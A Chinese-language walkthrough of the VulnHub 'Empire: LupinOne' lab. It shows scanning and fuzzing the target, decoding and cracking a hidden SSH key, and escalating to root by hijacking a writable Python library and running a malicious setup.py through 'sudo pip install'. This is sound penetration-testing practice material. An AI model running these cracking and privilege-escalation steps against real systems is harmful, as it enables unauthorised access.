1.环境搭建
靶机下载地址:Empire: LupinOne ~ VulnHub
导入Oracle VM VirtualBox中,网络使用仅主机模式,和kali使用同一网卡
开启靶机
2.渗透过程
使用nmap工具进行主机发现扫描
nmap -sn 192.168.56.0/24
发现靶机IP地址,使用nmap工具进制靶机端口扫描
nmap -sS 192.168.56.122
发现22端口和80端口,使用浏览器访问80端口
http://192.168.56.122
使用dirb进行目录扫描
dirb http://192.168.56.122
发现robots.txt目录,使用浏览器进行访问
发现~myfiles目录,使用浏览器进行访问
什么都没有,查看页面源代码
这里提示我们继续扫描,这里使用wfuzz工具
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -u 'http://192.168.56.122/~FUZZ' --hc 404
发现~secret目录,使用浏览器进行访问
这里告诉我们隐藏这一个ssh私钥文件,有一个用户名是icex64,在该目录下继续进行扫描
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 'http://192.168.56.122/~secret/.FUZZ.txt' --hc 404,403
扫描出来.mysecret.txt文件,使用浏览器进行访问
这里是一个base58编码,使用base58解码
将解出来的私钥写入a.txt文件
使用/usr/share/john/ssh2john.py生成字典
/usr/share/john/ssh2john.py a.txt > password.txt
使用john工具爆破密码
john --wordlist=/usr/share/wordlists/fasttrack.txt password.txt
使用john查看爆破出来的密码
john --show password.txt
得到密码:P@55w0rd!,使用ssh进行连接
ssh icex64@192.168.56.122 -i a.txt
连接成功,查看文件
使用sudo查看特殊权限
sudo -l
查看该py文件的权限,发现没有修改的权限
查看py文件的内容
发现调用了webbrowser库,查找该库的位置
进入该目录查看webbrowser库文件的权限
发现该库可以修改,修改该库代码
执行py脚本
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
执行成功,进入arsene用户,执行sudo -l命令
sodu -l
这里使用pip提权
mkdir tmp
cd tmp
echo "import os;os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .
提权成功,进入/root目录,查看文件